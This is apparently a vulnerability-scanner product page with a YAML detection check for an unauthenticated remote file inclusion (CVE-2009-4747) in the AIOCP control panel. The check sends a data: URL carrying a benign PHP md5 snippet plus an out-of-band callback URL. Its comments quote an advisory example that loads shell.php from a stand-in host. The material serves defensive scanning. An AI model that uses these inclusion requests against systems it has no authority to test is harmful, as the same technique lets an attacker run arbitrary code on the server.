AIOCP — 1 vulnerability check

noctis ships 1 vulnerability check for AIOCP, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AIOCP cp_html2xhtmlbasic.php page Remote File Inclusion

CVECVE-2009-4747
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/aiocp/CVE-2009-4747.yaml

Tests All In One Control Panel (AIOCP) for the unauthenticated remote file inclusion in public/code/cp_html2xhtmlbasic.php, which loads the document named by the "page" parameter without any check. The feed requests the page under the usual install folders with "page" set to a base64 data: URL whose content is a random marker followed by a small PHP snippet that prints the md5 of the product of two random numbers. That md5 in the reply confirms that the server ran code supplied in the request. The decoded marker without the md5 shows that the server loaded the attacker-supplied URL and returned its content without running it. When OOB is enabled, "page" is also set to the scanner's callback URL, and a fetch of that URL confirms the remote load even when the reply shows nothing. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/public/code/cp_html2xhtmlbasic.php?page={{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks verdict for ^[0-9a-f]{32}$ → finding QoD 97: AIOCP cp_html2xhtmlbasic.php page Remote File Inclusion (CVE-2009-4747)
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/public/code/cp_html2xhtmlbasic.php?page={{oob_url}}
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: AIOCP cp_html2xhtmlbasic.php page Remote File Inclusion (CVE-2009-4747)
  9. Checks fetch_proof for ^NOCTIS[0-9a-z]{12}$ → finding QoD 75: AIOCP cp_html2xhtmlbasic.php page Remote File Load (CVE-2009-4747)

References:

Feed source — tests/vulnerabilities/aiocp/CVE-2009-4747.yaml
# AIOCP cp_html2xhtmlbasic.php page remote file inclusion — CVE-2009-4747
#
# All In One Control Panel (AIOCP, Tecnick.com, SourceForge project "aiocp",
# obsolete, never fixed) 1.4.001 and earlier: public/code/cp_html2xhtmlbasic.php
# loads the document named by the "page" parameter, with no check, before any
# login (advisory: exploit-db 10057,
# cp_html2xhtmlbasic.php?page=http://www.example.com/shell.php). The 1.4.001
# sources are no longer downloadable (the SourceForge file area is empty), so
# the feed does not assume how the page is loaded: include() (code runs) or a
# plain read + echo of the converted document.
#
# Detection, per usual install folder (the web root, /AIOCP, /aiocp):
#   1. In-band code execution (QoD 97): page is a base64 data: URL holding
#      "NOCTIS<rand>" followed by <?php echo md5(A*B);exit;?> with random A and
#      B. When the page is include()d (allow_url_include, PHP >= 5.2) the code
#      runs and the reply carries md5 of the product, a value the request never
#      contains. The code writes nothing.
#   2. Fetch of an attacker-supplied URL (QoD 75): the reply carries the
#      decoded "NOCTIS<rand>" text but not the md5 — the server loaded the URL
#      given in "page" and returned its content, without running it (read +
#      echo, or PHP code stripped). The request only holds the base64 form, so
#      a page echoing its query string never matches.
#   3. OOB (QoD 97, only when OOB is enabled and no folder gave branch 2):
#      page is the noctis callback URL;
#      a fetch of it confirms the remote load even when the reply shows
#      nothing (errors and output hidden, PHP < 5.2 without the data: wrapper).
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_aiocp_remote_file_inclusion.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801201, GPL-2.0-only). The source check gates on
# "Powered by Tecnick.com AIOCP" in cp_dpage.php, then makes the server load
# its own cp_contact_us.php through http://<host ip><dir>/… and looks for the
# contact form labels. Improvements: real code execution / OOB proof, and a
# data: URL instead of the self-fetch, which needs neither the server to reach
# its own IP over plain HTTP (NAT, HTTPS-only sites) nor the contact page, and
# cannot match a page that shows a contact form anyway.
uid: 8679fdfb-6e3d-486f-9165-3197fd30fb0c
name: "AIOCP cp_html2xhtmlbasic.php page Remote File Inclusion (CVE-2009-4747)"
description: |
  Tests All In One Control Panel (AIOCP) for the unauthenticated remote file
  inclusion in public/code/cp_html2xhtmlbasic.php, which loads the document
  named by the "page" parameter without any check. The feed requests the page
  under the usual install folders with "page" set to a base64 data: URL whose
  content is a random marker followed by a small PHP snippet that prints the
  md5 of the product of two random numbers. That md5 in the reply confirms
  that the server ran code supplied in the request. The decoded marker
  without the md5 shows that the server loaded the attacker-supplied URL and
  returned its content without running it. When OOB is enabled, "page" is
  also set to the scanner's callback URL, and a fetch of that URL confirms the
  remote load even when the reply shows nothing. The snippet only prints a
  hash and writes nothing on the server.
cves: [CVE-2009-4747]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [aiocp, tecnick, php, rfi, remote-file-inclusion, rce, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4747"
  - "https://www.exploit-db.com/exploits/10057"
  - "https://sourceforge.net/projects/aiocp/"
  # OpenVAS/Greenbone NASL 2010/gb_aiocp_remote_file_inclusion.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every folder ─────────────────────────────────
  # The request carries the content base64-encoded: neither the marker nor
  # the md5 appear in it.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      let marker = "NOCTIS" + rand_str(12);
      let b64 = base64_encode(marker + "<?php echo md5(" + a + "*" + b + ");exit;?>");
      let enc = str_replace(str_replace(str_replace(b64, "+", "%2B"), "/", "%2F"), "=", "%3D");
      #{
        data: "data%3Atext%2Fplain%3Bbase64%2C" + enc,
        expect: md5("" + (a * b)),
        marker: marker
      }
    store_as: probe

  - id: init-fetch-found
    action: set_var
    var_name: fetch_found
    var_value: false

  - id: init-fetch-dir
    action: set_var
    var_name: fetch_dir
    var_value: ""

  - id: init-fetch-proof
    action: set_var
    var_name: fetch_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per
  # install folder. Each pass resets the values it reads.
  - id: init-rfi-r
    action: set_var
    var_name: rfi_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/AIOCP", "/aiocp"]

  - id: init-verdict
    action: set_var
    var_name: verdict
    var_value: ""

  # ── 1 + 2. data: URL — code execution, or content fetched and returned ──
  - id: rfi-probe
    action: http_request
    method: GET
    path: "{{dir}}/public/code/cp_html2xhtmlbasic.php?page={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rfi_r

  - id: rfi-check
    action: script
    code: |
      let b = if type_of(rfi_r.body) == "string" { rfi_r.body } else { "" };
      if b.contains(probe.expect) { probe.expect } else if b.contains(probe.marker) { "fetch" } else { "" }
    store_as: verdict

  - id: report-rce
    action: match
    source: verdict
    pattern: "^[0-9a-f]{32}$"
    condition: 'verdict != "" && verdict != "fetch"'
    on_match:
      finding:
        title: "AIOCP cp_html2xhtmlbasic.php page Remote File Inclusion (CVE-2009-4747)"
        description: "An unauthenticated request to public/code/cp_html2xhtmlbasic.php with page set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. cp_html2xhtmlbasic.php includes the page parameter without any check, so an attacker can run any PHP code on the server."
        remediation: "AIOCP is obsolete and was never fixed: remove it from the server. Until then, block access to public/code/cp_html2xhtmlbasic.php and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/public/code/cp_html2xhtmlbasic.php?page=data:text/plain;base64,<marker + <?php echo md5(A*B);exit;?>> returned the expected md5 {{verdict}} (included PHP code executed)"
      stop: true

  - id: fetch-dir
    action: script
    code: "dir"
    condition: 'fetch_found == false && verdict == "fetch"'
    store_as: fetch_dir

  - id: fetch-proof
    action: script
    code: "probe.marker"
    condition: 'fetch_found == false && verdict == "fetch"'
    store_as: fetch_proof

  - id: fetch-found
    action: set_var
    var_name: fetch_found
    var_value: true
    condition: 'verdict == "fetch"'

  # ── 3. Callback URL — remote load seen out of band ───────────────────────
  # Sent to every folder whose page answered the data: probe with 200 (a
  # server hiding PHP output and errors gives no in-band sign, but still
  # serves the page), never to missing pages, errors or silent ports.
  # Skipped once a folder returned the data: content without running it:
  # that page reads URLs, it does not include them.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{dir}}/public/code/cp_html2xhtmlbasic.php?page={{oob_url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && fetch_found == false && rfi_r.status == 200"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && fetch_found == false && rfi_r.status == 200"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "AIOCP cp_html2xhtmlbasic.php page Remote File Inclusion (CVE-2009-4747)"
        description: "An unauthenticated request to public/code/cp_html2xhtmlbasic.php with page set to the scanner's callback URL made the server fetch that URL: cp_html2xhtmlbasic.php loads the page parameter without any check, and the page did not return the content of a data: URL as plain text, so the loaded document is most likely included as PHP code: an attacker can make the server load and run PHP code from a server they control."
        remediation: "AIOCP is obsolete and was never fixed: remove it from the server. Until then, block access to public/code/cp_html2xhtmlbasic.php and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <dir>/public/code/cp_html2xhtmlbasic.php?page=<OOB URL> (remote file inclusion)"
      stop: true

  # ── Fallback finding: content of the data: URL returned, code not run ────
  - id: report-fetch
    action: match
    source: fetch_proof
    pattern: "^NOCTIS[0-9a-z]{12}$"
    condition: 'fetch_proof != ""'
    on_match:
      finding:
        title: "AIOCP cp_html2xhtmlbasic.php page Remote File Load (CVE-2009-4747)"
        description: "An unauthenticated request to public/code/cp_html2xhtmlbasic.php with page set to a base64 data: URL returned the decoded content of that URL: the server loads any URL given in the page parameter. The PHP code in the content did not run (the page may be read rather than included, or OOB was not enabled to confirm a remote inclusion), but the server fetches attacker-chosen URLs."
        remediation: "AIOCP is obsolete and was never fixed: remove it from the server. Until then, block access to public/code/cp_html2xhtmlbasic.php and set allow_url_include and allow_url_fopen to Off."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{fetch_dir}}/public/code/cp_html2xhtmlbasic.php?page=data:text/plain;base64,<…> returned the decoded marker {{fetch_proof}}"
      stop: true

View these feeds on GitHub